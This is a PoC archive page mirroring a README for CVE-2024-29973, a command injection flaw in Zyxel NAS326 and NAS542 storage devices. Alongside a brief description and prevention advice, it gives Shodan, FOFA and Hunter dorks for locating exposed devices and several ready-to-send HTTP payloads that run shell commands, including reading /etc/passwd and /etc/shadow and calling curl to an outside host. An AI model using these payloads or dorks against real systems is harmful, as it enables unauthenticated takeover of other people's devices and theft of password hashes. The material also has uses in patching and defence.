Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-29973 PoC — Zyxel NAS326和Zyxel NAS542 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Zyxel NAS326和Zyxel NAS542 操作系统命令注入漏洞 (CVE-2024-29973)
Description:** UNSUPPORTED WHEN ASSIGNED ** The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
Readme
# CVE-2024-29973 - Remote Command Injection Vulnerability

## Description

CVE-2024-29973 is a critical vulnerability found in certain Zyxel networking devices. This vulnerability allows an unauthenticated attacker to execute arbitrary commands on the target device by exploiting improper input validation mechanisms in the firmware. Attackers can send specially crafted HTTP requests to the device, injecting system-level commands and potentially gaining full control over the device.

### Dorks
Hunter: product.name="ZyXEL NAS542"||product.name="ZyXEL NAS326"
FOFA: app="NAS542" || app="ZYXEL-NAS326"
SHODAN: http.title:"Zyxel NAS326"

### How It Works
Command Injection: The vulnerability arises due to insufficient input sanitization in one of the device's web interfaces. This flaw allows attackers to append operating system commands within parameters of HTTP requests.

Exploit Example: Attackers can inject commands through an HTTP GET request, like the one below, to execute arbitrary code:


```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("id",+shell=True)%23 HTTP/1.1
```
Impact: Successful exploitation results in the ability to execute system commands, potentially leading to remote control over the device, data leakage, or further compromise of the network.

## Prevention
To mitigate the risks associated with this vulnerability, follow these steps:

Firmware Update: Ensure that all Zyxel devices are updated to the latest firmware version. Zyxel has released patches that address this vulnerability. Regularly check for updates and apply them promptly.

Network Segmentation: Isolate vulnerable devices from critical network infrastructure. Only expose necessary services and ensure administrative interfaces are not publicly accessible.

Firewall Configuration: Restrict incoming and outgoing traffic to essential services only. Block unnecessary HTTP access to Zyxel devices.

Monitor for Suspicious Activity: Implement logging and monitoring tools that can detect and alert on unusual behavior, such as repeated login attempts or abnormal traffic patterns.

References
National Vulnerability Database - CVE-2024-29973
Zyxel Security Advisory

## Images


![alt text](image.png)

# POC

## /etc/passwd
```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/passwd",+shell=True)%23 HTTP/1.1
```
## /etc/shadow
```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/shadow",+shell=True)%23 HTTP/1.1
```
## ifconfig
```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("curl+ifconfig.me",+shell=True)%23 HTTP/1.1
```
## hostname
```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("hostname",+shell=True)%23 HTTP/1.1
```

## ip
```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("ip+a",+shell=True)%23 HTTP/1.1
```

## uname -a
```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("uname+-a",+shell=True)%23 HTTP/1.1
```

## /etc/group
```python
GET /cmd,/simZysh/register_main/setCookie?c0=storage_ext_cgi+CGIGetExtStoInfo+None)+and+False+or+__import__("subprocess").check_output("cat+/etc/group",+shell=True)%23 HTTP/1.1
```

File Snapshot

[4.0K] /data/pocs/a2777ac8752de1861e17be2c5563cc9c4b1f52eb ├── [2.0K] CVE-2024-29973.yaml ├── [106K] image.png └── [3.7K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →